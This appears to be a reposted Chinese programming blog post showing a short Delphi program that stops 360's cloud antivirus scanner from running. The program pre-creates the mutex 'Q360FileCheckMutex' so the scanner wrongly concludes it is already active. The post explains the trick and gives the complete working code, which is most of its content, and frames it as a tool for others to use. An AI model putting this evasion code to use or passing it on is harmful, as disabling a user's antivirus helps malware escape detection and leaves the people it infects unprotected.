delphi 一行关键代码阻止360云查杀


本文整理自网络,侵删。

 一行关键代码阻止360云查杀
云查杀程序运行之前,会尝试打开互斥对象 'Q360FileCheckMutex' 看程序是否已经运行,所以我们可以抢先建一个这样的互斥对象,使得它误以为已经运行了,从而达到阻止运行的目的,关键代码:CreateMutex(nil, TRUE, 'Q360FileCheckMutex');

完整代码:
program SERVER;
uses
Windows;
type
TWin = record
Msg: TMsg;
wClass: TWndClass;
hMain: integer;
end;
var Win: TWin;
begin
CreateMutex(nil, TRUE, 'Q360FileCheckMutex');
while (GetMessage(win.Msg, win.hmain, 0, 0)) do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end
end.

相关阅读 >>

Delphi xe程序的主题(theme)设置

Delphi 文件转换base64

Delphi isvaliddatetime、isvaliddate、isvalidtime、isvaliddateday ... 判断时间是否合法

Delphi 开发安卓时判断进入非活动

Delphi 实现批量文件名修改

Delphi android 启动卡死处理方法

Delphi 检测进程是否存在

Delphi 2010 复制整个文件夹(当然包括嵌套文件夹)

Delphi inputquery

Delphi版ip地址与整型互转

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...